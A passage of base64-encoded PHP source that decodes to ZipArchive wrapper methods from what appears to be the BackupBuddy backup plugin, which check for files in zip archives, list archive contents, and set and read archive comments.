ZXRob2QgdG8gdHJ5CgkJCQkJJGVycm9yX3N0cmluZyA9ICR6YS0+ZXJyb3JJbmZvKCAkcmVzdWx0ICk7CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygnWmlwQXJjaGl2ZSBmYWlsZWQgdG8gb3BlbiBmaWxlIHRvIGV4dHJhY3QgY29udGVudHMgKCUxJHMgdG8gJTIkcykgLSBFcnJvciBJbmZvOiAlMyRzLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICR6aXBfZmlsZSwgJGRlc3RpbmF0aW9uX2RpcmVjdG9yeSwgJGVycm9yX3N0cmluZyApICk7CgoJCQkJCS8vIFJldHVybiBhbiBlcnJvciBjb2RlIGFuZCBhIGRlc2NyaXB0aW9uIC0gdGhpcyBuZWVkcyB0byBiZSBoYW5kbGVkIG1vcmUgZ2VuZXJpY2FsbHkKCQkJCQkvLyRyZXN1bHQgPSBhcnJheSggMSwgIlVuYWJsZSB0byBnZXQgYXJjaGl2ZSBjb250ZW50cyIgKTsKCQkJCQkvLyBDdXJyZW50bHkgYXMgd2UgYXJlIHJldHVybmluZyBhbiBhcnJheSBhcyBhIHZhbGlkIHJlc3VsdCB3ZSBqdXN0IHJldHVybiBmYWxzZSBvbiBmYWlsdXJlCgkJCQkJJHJlc3VsdCA9IGZhbHNlOwoKCQkJCX0KCQkJCQoJCQkJJHphLT5jbG9zZSgpOwoJCQkKCQkJfQoJCQkKCQkgIAlpZiAoIE5VTEwgIT0gJHphICkgeyB1bnNldCggJHphICk7IH0JCQoJCQkKCQkJcmV0dXJuICRyZXN1bHQ7CgkJCQkJCQoJCX0KCQkKCQkvKioKCQkgKglmaWxlX2V4aXN0cygpCgkJICoJCgkJICoJVGVzdHMgd2hldGhlciBhIGZpbGUgKHdpdGggcGF0aCkgZXhpc3RzIGluIHRoZSBnaXZlbiB6aXAgZmlsZQoJCSAqCUlmIGxlYXZlX29wZW4gaXMgdHJ1ZSB0aGVuIHRoZSB6aXAgb2JqZWN0IHdpbGwgYmUgbGVmdCBvcGVuIGZvciBmYXN0ZXIgY2hlY2tpbmcgZm9yIHN1YnNlcXVlbnQgZmlsZXMgd2l0aGluIHRoaXMgemlwCgkJICoJCgkJICoJQHBhcmFtCQlzdHJpbmcJJHppcF9maWxlCQlUaGUgemlwIGZpbGUgdG8gY2hlY2sKCQkgKglAcGFyYW0JCXN0cmluZwkkbG9jYXRlX2ZpbGUJVGhlIGZpbGUgdG8gdGVzdCBmb3IKCQkgKglAcGFyYW0JCWJvb2wJJGxlYXZlX29wZW4JCU9wdGlvbmFsOiBUcnVlIGlmIHRoZSB6aXAgZmlsZSBzaG91bGQgYmUgbGVmdCBvcGVuCgkJICoJQHJldHVybgkJYm9vbC9hcnJheQkJCQlUcnVlIGlmIHRoZSBmaWxlIGlzIGZvdW5kIGluIHRoZSB6aXAgYW5kIGZhbHNlIGlmIG5vdCwgYXJyYXkgZm9yIG90aGVyIHByb2JsZW0KCQkgKgoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBmaWxlX2V4aXN0cyggJHppcF9maWxlLCAkbG9jYXRlX2ZpbGUsICRsZWF2ZV9vcGVuID0gZmFsc2UgKSB7CgkJCgkJCSRyZXN1bHQgPSBhcnJheSggMSwgIkdlbmVyaWMgZmFpbHVyZSBpbmRpY2F0aW9uIiApOwoJCQkkemEgPSBOVUxMOwoJCQkKCQkJLy8gVGhpcyBzaG91bGQgZ2l2ZSB1cyBhIG5ldyBhcmNoaXZlIG9iamVjdCwgb2Ygbm90IGNhdGNoIGl0IGFuZCBiYWlsIG91dAoJCQl0cnkgewoJCQkKCQkJCSR6YSA9IG5ldyBwbHVnaW5idWRkeV9aaXBBcmNoaXZlKCk7CgkJCQkkcmVzdWx0ID0gdHJ1ZTsKCQkJCQoJCQl9IGNhdGNoICggRXhjZXB0aW9uICRlICkgewoJCQkKCQkJCS8vIFNvbWV0aGluZyBmaXNoeSAtIHRoZSBtZXRob2RzIGluZGljYXRlZCB6aXBhcmNoaXZlIGJ1dCB3ZSBjb3VsZG4ndCBmaW5kIHRoZSBjbGFzcwoJCQkJJGVycm9yX3N0cmluZyA9ICRlLT5nZXRNZXNzYWdlKCk7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCd6aXBhcmNoaXZlIGluZGljYXRlZCBhcyBhdmFpbGFibGUgbWV0aG9kIGJ1dCBlcnJvciByZXBvcnRlZDogJTEkcycsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICRlcnJvcl9zdHJpbmcgKSApOwoKCQkJCS8vIFJldHVybiBhbiBlcnJvciBjb2RlIGFuZCBhIGRlc2NyaXB0aW9uIC0gdGhpcyBuZWVkcyB0byBiZSBoYW5kbGVkIG1vcmUgZ2VuZXJpY2FsbHkKCQkJCSRyZXN1bHQgPSBhcnJheSggMSwgIkNsYXNzIG5vdCBhdmFpbGFibGUgdG8gbWF0Y2ggbWV0aG9kIiApOwoJCQkJCgkJCX0KCQkJCgkJCS8vIE9ubHkgY29udGludWUgaWYgd2UgaGF2ZSBhIHZhbGlkIGFyY2hpdmUgb2JqZWN0CgkJCWlmICggdHJ1ZSA9PT0gJHJlc3VsdCApIHsKCQkJCQoJCQkJJHJlc3VsdCA9ICR6YS0+b3BlbiggJHppcF9maWxlICk7CgkJCQkKCQkJCS8vIE1ha2Ugc3VyZSB3ZSBvcGVuZWQgdGhlIHppcCBvawoJCQkJaWYgKCB0cnVlID09PSAkcmVzdWx0ICkgewoJCQkJCgkJCQkJLy8gTm93IHRyeSBhbmQgZmluZCB0aGUgaW5kZXggb2YgdGhlIGZpbGUKCQkJCQkkaW5kZXggPSAkemEtPmxvY2F0ZU5hbWUoICRsb2NhdGVfZmlsZSApOwoJCQkJCQoJCQkJCS8vIElmIHdlIGdvdCBhbiBpbmRleCB3ZSBmb3VuZCBpdCBvdGhlcndpc2Ugbm90IGZvdW5kCgkJCQkJaWYgKCBmYWxzZSAhPT0gJGluZGV4ICkgewoJCQkJCQoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdGaWxlIGZvdW5kICh6aXBhcmNoaXZlKScsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnOiAnIC4gJGxvY2F0ZV9maWxlICk7CgkJCQkJCSRyZXN1bHQgPSB0cnVlOwoJCQkJCQkKCQkJCQl9IGVsc2UgewoJCQkJCQoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdGaWxlIG5vdCBmb3VuZCAoemlwYXJjaGl2ZSknLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJzogJyAuICRsb2NhdGVfZmlsZSApOwoJCQkJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCQkJCQoJCQkJCX0KCQkJCQkKCQkJCX0gZWxzZSB7CgkJCQkKCQkJCQkvLyBDb3VsZG4ndCBvcGVuIGFyY2hpdmUgLSB3aWxsIHJldHVybiBmb3IgbWF5YmUgYW5vdGhlciBtZXRob2QgdG8gdHJ5CgkJCQkJJGVycm9yX3N0cmluZyA9ICR6YS0+ZXJyb3JJbmZvKCAkcmVzdWx0ICk7CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygnWmlwQXJjaGl2ZSBmYWlsZWQgdG8gb3BlbiBmaWxlIHRvIGNoZWNrIGlmIGZpbGUgZXhpc3RzIChsb29raW5nIGZvciAlMSRzIGluICUyJHMpIC0gRXJyb3IgSW5mbzogJTMkcy4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkbG9jYXRlX2ZpbGUgLCAkemlwX2ZpbGUsICRlcnJvcl9zdHJpbmcgKSApOwoKCQkJCQkvLyBSZXR1cm4gYW4gZXJyb3IgY29kZSBhbmQgYSBkZXNjcmlwdGlvbiAtIHRoaXMgbmVlZHMgdG8gYmUgaGFuZGxlZCBtb3JlIGdlbmVyaWNhbGx5CgkJCQkJJHJlc3VsdCA9IGFycmF5KCAxLCAiRmFpbGVkIHRvIG9wZW4vcHJvY2VzcyBmaWxlIiApOwoKCQkJCX0KCQkJCgkJCQkvLyBXZSBoYXZlIGZpbmlzaGVkIHdpdGggdGhlIGFyY2hpdmUgKGxlYXZlX29wZW4gaWdub3JlZCBmb3Igbm93KQoJCQkJJHphLT5jbG9zZSgpOwoJCQkJCgkJCX0KCQkJCgkJICAJaWYgKCBOVUxMICE9ICR6YSApIHsgdW5zZXQoICR6YSApOyB9CQkKCQkJCgkJCXJldHVybiAkcmVzdWx0OwoJCQkJCgkJfQoJCQoJCS8qCWdldF9maWxlX2xpc3QoKQoJCSAqCQoJCSAqCUdldCBhbiBhcnJheSBvZiBhbGwgZmlsZXMgaW4gYSB6aXAgZmlsZSB3aXRoIHNvbWUgZmlsZSBwcm9wZXJ0aWVzLgoJCSAqCQoJCSAqCUBwYXJhbQkJc3RyaW5nCQkkemlwX2ZpbGUJVGhlIGZpbGUgdG8gbGlzdCB0aGUgY29udGVudCBvZgoJCSAqCUByZXR1cm4JCWJvb2x8YXJyYXkJCQkJZmFsc2Ugb24gZmFpbHVyZSwgb3RoZXJ3aXNlIGFycmF5IG9mIGZpbGUgcHJvcGVydGllcyAobWF5IGJlIGVtcHR5KQoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBnZXRfZmlsZV9saXN0KCAkemlwX2ZpbGUgKSB7CgkJCgkJCSRmaWxlX2xpc3QgPSBhcnJheSgpOwoJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCSR6YSA9IE5VTEw7CgkJCSRzdGF0ID0gYXJyYXkoKTsKCQkJCgkJCS8vIFRoaXMgc2hvdWxkIGdpdmUgdXMgYSBuZXcgYXJjaGl2ZSBvYmplY3QsIG9mIG5vdCBjYXRjaCBpdCBhbmQgYmFpbCBvdXQKCQkJdHJ5IHsKCQkJCgkJCQkkemEgPSBuZXcgcGx1Z2luYnVkZHlfWmlwQXJjaGl2ZSgpOwoJCQkJJHJlc3VsdCA9IHRydWU7CgkJCQkKCQkJfSBjYXRjaCAoIEV4Y2VwdGlvbiAkZSApIHsKCQkJCgkJCQkvLyBTb21ldGhpbmcgZmlzaHkgLSB0aGUgbWV0aG9kcyBpbmRpY2F0ZWQgemlwYXJjaGl2ZSBidXQgd2UgY291bGRuJ3QgZmluZCB0aGUgY2xhc3MKCQkJCSRlcnJvcl9zdHJpbmcgPSAkZS0+Z2V0TWVzc2FnZSgpOwoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygnemlwYXJjaGl2ZSBpbmRpY2F0ZWQgYXMgYXZhaWxhYmxlIG1ldGhvZCBidXQgZXJyb3IgcmVwb3J0ZWQ6ICUxJHMnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkZXJyb3Jfc3RyaW5nICkgKTsKCQkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJCQoJCQl9CgkJCQoJCQkvLyBPbmx5IGNvbnRpbnVlIGlmIHdlIGhhdmUgYSB2YWxpZCBhcmNoaXZlIG9iamVjdAoJCQlpZiAoIHRydWUgPT09ICRyZXN1bHQgKSB7CgkJCQkKCQkJCSRyZXN1bHQgPSAkemEtPm9wZW4oICR6aXBfZmlsZSApOwoJCQkJCgkJCQkvLyBNYWtlIHN1cmUgd2Ugb3BlbmVkIHRoZSB6aXAgb2sKCQkJCWlmICggdHJ1ZSA9PT0gJHJlc3VsdCApIHsKCQkJCQoJCQkJCWlmICggKCAkZmlsZV9jb3VudCA9ICR6YS0+bnVtRmlsZXMgKSA+IDAgKSB7CgkJCQkKCQkJCQkJLy8gR2V0IGVhY2ggZmlsZSBpbiBzZXF1ZW5jZSBieSBpbmRleCBhbmQgZ2V0IHRoZSBwcm9wZXJ0aWVzCgkJCQkJCWZvciggJGkgPSAwOyAkaSA8ICRmaWxlX2NvdW50OyAkaSsrICl7CgkJCQkJCQoJCQkJCQkJJHN0YXQgPSAkemEtPnN0YXRJbmRleCggJGkgKTsKCQkJCQkJCQoJCQkJCQkJLy8gQXNzdW1lIGFsbCB0aGVzZSBrZXlzIGRvIGV4aXN0IChjb25zaWRlciB0ZXN0aW5nKQoJCQkJCQkJJGZpbGVfbGlzdFtdID0gYXJyYXkoCgkJCQkJCQkJJHN0YXRbJ25hbWUnXSwKCQkJCQkJCQkkc3RhdFsnc2l6ZSddLAoJCQkJCQkJCSRzdGF0Wydjb21wX3NpemUnXSwKCQkJCQkJCQkkc3RhdFsnbXRpbWUnXSwKCQkJCQkJCSk7CgkJCQkJCQkKCQkJCQkJfQoJCQkJCQkKCQkJCQl9CgkJCQkJCgkJCQkJCgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygnemlwYXJjaGl2ZSBsaXN0ZWQgZmlsZSBjb250ZW50cyAoJTEkcyknLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkemlwX2ZpbGUgKSApOwoKCQkJCQkkdGhpcy0+bG9nX2FyY2hpdmVfZmlsZV9zdGF0cyggJHppcF9maWxlICk7CQoKCQkJCQkkcmVzdWx0ID0gJiRmaWxlX2xpc3Q7CgkJCQkJCgkJCQl9IGVsc2UgewoJCQkJCgkJCQkJLy8gQ291bGRuJ3Qgb3BlbiBhcmNoaXZlIC0gd2lsbCByZXR1cm4gZm9yIG1heWJlIGFub3RoZXIgbWV0aG9kIHRvIHRyeQoJCQkJCSRlcnJvcl9zdHJpbmcgPSAkemEtPmVycm9ySW5mbyggJHJlc3VsdCApOwoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oJ1ppcEFyY2hpdmUgZmFpbGVkIHRvIG9wZW4gZmlsZSB0byBsaXN0IGNvbnRlbnRzICglMSRzKSAtIEVycm9yIEluZm86ICUyJHMuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJHppcF9maWxlLCAkZXJyb3Jfc3RyaW5nICkgKTsKCgkJCQkJLy8gUmV0dXJuIGFuIGVycm9yIGNvZGUgYW5kIGEgZGVzY3JpcHRpb24gLSB0aGlzIG5lZWRzIHRvIGJlIGhhbmRsZWQgbW9yZSBnZW5lcmljYWxseQoJCQkJCS8vJHJlc3VsdCA9IGFycmF5KCAxLCAiVW5hYmxlIHRvIGdldCBhcmNoaXZlIGNvbnRlbnRzIiApOwoJCQkJCS8vIEN1cnJlbnRseSBhcyB3ZSBhcmUgcmV0dXJuaW5nIGFuIGFycmF5IGFzIGEgdmFsaWQgcmVzdWx0IHdlIGp1c3QgcmV0dXJuIGZhbHNlIG9uIGZhaWx1cmUKCQkJCQkkcmVzdWx0ID0gZmFsc2U7CgoJCQkJfQoJCQkJCgkJCQkkemEtPmNsb3NlKCk7CgkJCQoJCQl9CgkJCQoJCSAgCWlmICggTlVMTCAhPSAkemEgKSB7IHVuc2V0KCAkemEgKTsgfQkJCgkJCQoJCQlyZXR1cm4gJHJlc3VsdDsKCQkJCgkJfQoJCQoJCS8qCXNldF9jb21tZW50KCkKCQkgKgkKCQkgKglSZXRyaWV2ZSBhcmNoaXZlIGNvbW1lbnQuCgkJICoJCgkJICoJQHBhcmFtCQlzdHJpbmcJCQkkemlwX2ZpbGUJCUZpbGVuYW1lIG9mIGFyY2hpdmUgdG8gc2V0IGNvbW1lbnQgb24uCgkJICoJQHBhcmFtCQlzdHJpbmcJCQkkY29tbWVudAkJQ29tbWVudCB0byBhcHBseSB0byBhcmNoaXZlLgoJCSAqCUByZXR1cm4JCWJvb2wJCQkJCQkJdHJ1ZSBvbiBzdWNjZXNzLCBvdGhlcndpc2UgZmFsc2UuCgkJICovCgkJcHVibGljIGZ1bmN0aW9uIHNldF9jb21tZW50KCAkemlwX2ZpbGUsICRjb21tZW50ICkgewoJCQoJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCSR6YSA9IE5VTEw7CgkJCQoJCQkvLyBUaGlzIHNob3VsZCBnaXZlIHVzIGEgbmV3IGFyY2hpdmUgb2JqZWN0LCBvZiBub3QgY2F0Y2ggaXQgYW5kIGJhaWwgb3V0CgkJCXRyeSB7CgkJCQoJCQkJJHphID0gbmV3IHBsdWdpbmJ1ZGR5X1ppcEFyY2hpdmUoKTsKCQkJCSRyZXN1bHQgPSB0cnVlOwoJCQkJCgkJCX0gY2F0Y2ggKCBFeGNlcHRpb24gJGUgKSB7CgkJCQoJCQkJLy8gU29tZXRoaW5nIGZpc2h5IC0gdGhlIG1ldGhvZHMgaW5kaWNhdGVkIHppcGFyY2hpdmUgYnV0IHdlIGNvdWxkbid0IGZpbmQgdGhlIGNsYXNzCgkJCQkkZXJyb3Jfc3RyaW5nID0gJGUtPmdldE1lc3NhZ2UoKTsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oJ3ppcGFyY2hpdmUgaW5kaWNhdGVkIGFzIGF2YWlsYWJsZSBtZXRob2QgYnV0IGVycm9yIHJlcG9ydGVkOiAlMSRzJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJGVycm9yX3N0cmluZyApICk7CgkJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCQkKCQkJfQoJCQkKCQkJLy8gT25seSBjb250aW51ZSBpZiB3ZSBoYXZlIGEgdmFsaWQgYXJjaGl2ZSBvYmplY3QKCQkJaWYgKCB0cnVlID09PSAkcmVzdWx0ICkgewoJCQkJCgkJCQkkcmVzdWx0ID0gJHphLT5vcGVuKCAkemlwX2ZpbGUgKTsKCQkJCQoJCQkJLy8gTWFrZSBzdXJlIGF0IGxlYXN0IHRoZSB6aXAgZmlsZSBvcGVuZWQgb2sKCQkJCWlmICggdHJ1ZSA9PT0gJHJlc3VsdCApIHsKCQkJCQoJCQkJCS8vIFNldCB0aGUgY29tbWVudCAtIHRydWUgb24gc3VjY2VzcywgZmFsc2Ugb24gZmFpbHVyZQoJCQkJCSRyZXN1bHQgPSAkemEtPnNldEFyY2hpdmVDb21tZW50KCAkY29tbWVudCApOwoJCQkJCQoJCQkJCS8vIElmIHdlIGdvdCBiYWNrIHRydWUgdGhlbiBhbGwgaXMgd2VsbCB3aXRoIHRoZSB3b3JsZAoJCQkJCWlmICggdHJ1ZSA9PT0gJHJlc3VsdCApIHsKCQkJCQkKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygnWmlwQXJjaGl2ZSBzZXQgY29tbWVudCBpbiBmaWxlICUxJHMnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkemlwX2ZpbGUgKSApOwoJCQkJCQkkcmVzdWx0ID0gdHJ1ZTsKCQkJCQkJCgkJCQkJfSBlbHNlIHsKCQkJCQkKCQkJCQkJLy8gSWYgd2UgZmFpbGVkIHRvIHNldCB0aGUgY29tbW5lbnQgdGhlbiBsb2cgaXQgKD8pIGFuZCBkcm9wIHRocm91Z2gKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygnWmlwQXJjaGl2ZSBmYWlsZWQgdG8gc2V0IGNvbW1lbnQgaW4gZmlsZSAlMSRzJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJHppcF9maWxlICkgKTsKCQkJCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQkJCQkKCQkJCQl9CgkJCQkJCQoJCQkJfSBlbHNlIHsKCQkJCQoJCQkJCS8vIElmIHdlIGNvdWxkbid0IG9wZW4gdGhlIHppcCBmaWxlIHRoZW4gbG9nIGl0ICg/KSBhbmQgZHJvcCB0aHJvdWdoCgkJCQkJJGVycm9yX3N0cmluZyA9ICR6YS0+ZXJyb3JJbmZvKCAkcmVzdWx0ICk7CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygnWmlwQXJjaGl2ZSBmYWlsZWQgdG8gb3BlbiBmaWxlIHRvIHNldCBjb21tZW50IGluIGZpbGUgJTEkcyAtIEVycm9yIEluZm86ICUyJHMnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkemlwX2ZpbGUsICRlcnJvcl9zdHJpbmcgKSApOwoJCQkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJCQkJCQkJCQoJCQkJfQoJCQkJCQkJCQoJCQkJJHphLT5jbG9zZSgpOwoJCQkJCgkJCX0KCQkJCgkJICAJaWYgKCBOVUxMICE9ICR6YSApIHsgdW5zZXQoICR6YSApOyB9CQkKCQkJCgkJCXJldHVybiAkcmVzdWx0OwoJCQkKCQl9CgoJCS8qCWdldF9jb21tZW50KCkKCQkgKgkKCQkgKglSZXRyaWV2ZSBhcmNoaXZlIGNvbW1lbnQuCgkJICoJCgkJICoJQHBhcmFtCQlzdHJpbmcJCSR6aXBfZmlsZQkJRmlsZW5hbWUgb2YgYXJjaGl2ZSB0byByZXRyaWV2ZSBjb21tZW50IGZyb20uCgkJICoJQHJldHVybgkJYm9vbHxzdHJpbmcJCQkJCWZhbHNlIG9uIGZhaWx1cmUsIFppcCBjb21tZW50IG90aGVyd2lzZS4KCQkgKi8KCQlwdWJsaWMgZnVuY3Rpb24gZ2V0X2NvbW1lbnQoICR6aXBfZmlsZSApIHsKCQkKCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQkkemEgPSBOVUxMOwoJCQkKCQkJLy8gVGhpcyBzaG91bGQgZ2l2ZSB1cyBhIG5ldyBhcmNoaXZlIG9iamVjdCwgb2Ygbm90IGNhdGNoIGl0IGFuZCBiYWlsIG91dAoJCQl0cnkgewoJCQkKCQkJCSR6YSA9IG5ldyBwbHVnaW5idWRkeV9aaXBBcmNoaXZlKCk7CgkJCQkkcmVzdWx0ID0gdHJ1ZTsKCQkJCQoJCQl9IGNhdGNoICggRXhjZXB0aW9uICRlICkgewoJCQkKCQkJCS8vIFNvbWV0aGluZyBmaXNoeSAtIHRoZSBtZXRob2RzIGluZGljYXRlZCB6aXBhcmNoaXZlIGJ1dCB3ZSBjb3VsZG4ndCBmaW5kIHRoZSBjbGFzcwoJCQkJJGVycm9yX3N0cmluZyA9ICRlLT5nZXRNZXNzYWdlKCk7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCd6aXBhcmNoaXZlIGluZGljYXRlZCBhcyBhdmFpbGFibGUgbWV0aG9kIGJ1dCBlcnJvciByZXBvcnRlZDogJTEkcycsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICRlcnJvcl9zdHJpbmcgKSApOwoJCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQkJCgkJCX0KCQkJCgkJCS8vIE9ubHkgY29udGludWUgaWYgd2UgaGF2ZSBhIHZhbGlkIGFyY2hpdmUgb2JqZWN0CgkJCWlmICggdHJ1ZSA9PT0gJHJlc3VsdCApIHsKCQkJCQoJCQkJJHJlc3VsdCA9ICR6YS0+b3BlbiggJHppcF9maWxlICk7CgkJCQkKCQkJCS8vIE1ha2Ugc3VyZSBhdCBsZWFzdCB0aGUgemlwIGZpbGUgb3BlbmVkIG9rCgkJCQlpZiAoIHRydWUgPT09ICRyZXN1bHQgKSB7CgkJCQkKCQkJCQkvLyBHZXQgdGhlIGNvbW1lbnQgb3IgZmFsc2Ugb24gZmFpbHVyZSBmb3Igc29tZSByZWFzb24KCQkJCQkvLyBOb3RlOiBDdXJyZW50bHksIGR1ZSB0byBhIGJ1ZyBpbiBaaXBBcmNoaXZlLCBnZXRBcmNoaXZlQ29tbWVudCgpCgkJCQkJLy8gcmV0dXJucyBmYWxzZSBmb3IgYW4gZW1wdHkgY29tbWVudCB3aGVyZWFzIGl0IHNob3VsZCBqdXN0IHJldHVybiBhbgoJCQkJCS8vIGVtcHR5IHN0cmluZy4gV2UnbGwgbGl2ZSB3aXRoIHRoaXMgZm9yIG5vdyBhcyBpdCBzaG91bGQgb25seSBoYXBwZW4KCQkJCQkvLyB3aGVuIGFuIGFyY2hpdmUgaXMgZnJlc2ggYW5kIGhhcyB0aGUgSW50ZWdyaXR5IENoZWNrIHJ1biAob3Igd2hlbiB0aGUKCQkJCQkvLyBjaGVjayBpcyByZXJ1bikuIE9uY2UgYSBjb21tZW50IGlzIGFkZGVkIHRoZSBmdW5jdGlvbiBiZWhhdmVzLgoJCQkJCS8vIElmIGFueSBwcm9ibGVtcyBhcmUgdGhyb3duIHVwIHRoZW4gdGhlcmUgaXMgdGhlIG9wdGlvbiB0byB1c2UgdGhlCgkJCQkJLy8gYXJjaGl2ZSBwcm9wZXJ0eSBidXQgdGhhdCBoYXMgYSBkb3duc2lkZSBpbiB0aGF0IGl0IGNhbiBvbmx5IGV2ZXIKCQkJCQkvLyByZXR1cm4gYSBzdHJpbmcgc28gaWYgdGhlcmUgcmVhbGx5IGlzIGFuIGVycm9yIGluIHJlYWRpbmcgdGhlIGNvbW1lbnQKCQkJCQkvLyBpdCBpcyBub3QgcG9zc2libGUgdG8ga25vdyAoQUZBSUspLiBQZXJoYXBzIGFuIGVycm9yIHN0YXR1cyB2YWx1ZSBtaWdodAoJCQkJCS8vIGJlIHNldCBzb21ld2hlcmU/CgkJCQkJLy8gVGhlIGJ1ZyB3aWxsIGJlIHJlcG9ydGVkIHRvIFBIUCBkZXZlbG9wZXJzIGJ1dCB3ZSB3aWxsIHN0aWxsIGhhdmUgdG8KCQkJCQkvLyBsaXZlIHdpdGggdGhpcyBmb3IgYSB3aGlsZSBiZWNhdXNlIGl0IHRha2VzIGhvc3RzIGFnZXMgdG8gY2F0Y2ggdXAgdG8KCQkJCQkvLyB1cGRhdGVkIFBIUCB2ZXJzaW9ucy4KCQkJCQkkY29tbWVudCA9ICR6YS0+Z2V0QXJjaGl2ZUNvbW1lbnQoIFpJUEFSQ0hJVkU6OkZMX1VOQ0hBTkdFRCApOwoJCQkJCS8vJGNvbW1lbnQgPSAkemEtPmNvbW1lbnQ7CgkJCQkJCgkJCQkJLy8gSWYgd2UgaGF2ZSBhIGNvbW1lbnQgKGV2ZW4gaWYgZW1wdHkpIHRoZW4gcmV0dXJuIGl0CgkJCQkJaWYgKCBmYWxzZSAhPT0gJGNvbW1lbnQgKSB7CgoJCQkJCQkvLyBOb3RlOiBuZXcgYXJjaGl2ZXMgd2lsbCByZXR1cm4gYW4gZW1wdHkgY29tbWVudCBpZiBvbmUgd2FzIG5vdCBhZGRlZCBhdCBjcmVhdGlvbgoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCdaaXBBcmNoaXZlIHJldHJpZXZlZCBjb21tZW50IGluIGZpbGUgJTEkcycsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICR6aXBfZmlsZSApICk7CgkJCQkJCSRyZXN1bHQgPSAkY29tbWVudDsKCQkJCQkJCgkJCQkJfSBlbHNlIHsKCQkJCQkKCQkJCQkJLy8gSWYgd2UgZmFpbGVkIHRvIGdldCB0aGUgY29tbW5lbnQgdGhlbiBsb2cgaXQgKD8pIGFuZCBkcm9wIHRocm91Z2gKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygnWmlwQXJjaGl2ZSBmYWlsZWQgdG8gcmV0cmlldmUgY29tbWVudCBpbiBmaWxlICUxJHMnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkemlwX2ZpbGUgKSApOwoJCQkJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCQkJCQoJCQkJCX0KCgkJCQl9IGVsc2UgewoJCQkJCgkJCQkJLy8gSWYgd2UgY291bGRuJ3Qgb3BlbiB0aGUgemlwIGZpbGUgdGhlbiBsb2cgaXQgKD8pIGFuZCBkcm9wIHRocm91Z2gKCQkJCQkkZXJyb3Jfc3RyaW5nID0gJHphLT5lcnJvckluZm8oICRyZXN1bHQgKTsKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCdaaXBBcmNoaXZlIGZhaWxlZCB0byBvcGVuIGZpbGUgdG8gZ2V0IGNvbW1lbnQgaW4gZmlsZSAlMSRzIC0gRXJyb3IgSW5mbzogJTIkcycsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICR6aXBfZmlsZSwgJGVycm9yX3N0cmluZyApICk7CgkJCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQkJCQkJCQkJCgkJCQl9CgkJCQkKCQkJCSR6YS0+Y2xvc2UoKTsKCQkJCQkJCQkKCQkJfSBlbHNlIHsKCQkJCgkJCQkvLyBTb21ldGhpbmcgZmlzaHkgLSB0aGUgbWV0aG9kcyBpbmRpY2F0ZWQgemlwYXJjaGl2ZSBidXQgd2UgY291bGRuJ3QgZmluZCB0aGUgY2xhc3MKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ3ppcGFyY2hpdmUgaW5kaWNhdGVkIGFzIGF2YWlsYWJsZSBtZXRob2QgYnV0IFppcEFyY2hpdmUgY2xhc3Mgbm9uLWV4aXN0ZW50JywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQkJCgkJCX